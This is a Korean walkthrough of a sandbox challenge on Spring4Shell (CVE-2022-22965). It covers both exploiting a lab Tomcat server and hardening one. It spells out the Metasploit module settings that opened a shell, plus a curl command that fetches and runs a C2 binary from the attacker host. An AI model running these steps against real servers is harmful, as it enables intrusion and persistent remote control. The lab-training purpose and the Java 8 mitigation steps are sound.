CVE-2022-22965(Spring4Shell)를 Metasploit으로 악용하고, C2 리스너를 배포하며, Tomcat 서버에서 Java 8로 다운그레이드하여 취약점을 완화하는 단계별 가이드.
이 워크스루는 CVE-2022-22965(일반적으로 Spring4Shell로 알려짐)에 초점을 맞춘 샌드박스 챌린지 완료를 문서화합니다. 이 취약점은 특정 버전의 Spring Java 프레임워크에 영향을 미치는 치명적인(CVSS 9.8/10) 원격 코드 실행 취약점입니다. 챌린지는 취약점의 공격(레드 팀) 및 방어(블루 팀) 관점을 모두 다룹니다.
참고: 이 워크스루의 명령어와 파일 경로는 이 시도에 사용된 특정 환경을 반영합니다. 사용자 환경은 다를 수 있으므로 경로, IP 주소, 파일 이름을 적절히 조정하세요.
| 머신 | IP 주소 | 역할 |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | 공격 및 작업 머신 |
| Red Target (Linux) | 172.16.100.90 | 익스플로잇 대상 |
| Blue Target (Linux) | 172.16.100.100 | 강화 대상 |
자격 증명: playerone / password123
챌린지 패널의 네트워크 맵 탭을 검토하여 Red Target IP(172.16.100.90)를 확인했습니다. curl을 사용하여 포트 80에서 실행 중인 웹 애플리케이션을 검사했습니다.
curl http://172.16.100.90
출력 결과 Apache Tomcat 9.0.59가 /dasmsp로 리디렉션되는 것을 확인했습니다. 페이지 소스를 탐색하여 /dasmsp/contact에서 POST 폼 엔드포인트를 식별했습니다.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
익스플로잇이 성공적으로 JSP 셸을 생성하고, 클래스 로더를 수정하고, 로그 파일을 플러시한 후 Red Target에서 명령 셸 세션을 열었습니다.
세션이 열린 후 shell을 입력하여 대화형 셸로 업그레이드했습니다. Metasploit이 대상에서 /usr/bin/script를 찾아 tomcat 사용자로 대화형 셸을 띄우는 데 사용했습니다.
deploy_c2 바이너리는 Red Target이 아닌 Security-Desk에 있었습니다. Security-Desk에서 Python3 HTTP 서버를 통해 호스팅했습니다.
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Red Target 셸 세션 내에서 다운로드하여 실행했습니다.
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
출력 확인: Done! — C2 리스너가 Red Target에 성공적으로 배포되었습니다.
Security-Desk 터미널에서:
비밀번호: password123
Java 8 .deb 패키지는 Security-Desk의 /home/playerone/Desktop/Resources/에 있었습니다. Security-Desk 터미널에서 SCP를 사용하여 Blue Target으로 전송했습니다.
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
전송된 패키지:
Blue Target SSH 세션에서:
sudo dpkg -i /tmp/*.deb
알려진 챌린지 문제로 인해 Java 8을 수동으로 기본값으로 설정하지 않으면 확인이 올바르게 등록되지 않습니다.
sudo update-alternatives --config java
옵션 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java를 선택했습니다.
Tomcat 서비스 유닛 파일을 검사했습니다:
cat /etc/systemd/system/tomcat.service
JAVA_HOME 환경 변수를 업데이트하기 위해 파일을 편집했습니다:
sudo nano /etc/systemd/system/tomcat.service
변경: 기존:
Environment="JAVA_HOME=/usr"
변경:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
Blue Target에서 완화된 CVE-2022-22965 확인란이 챌린지 패널에서 녹색으로 바뀌었습니다.
spring_framework_rce_spring4shell 모듈)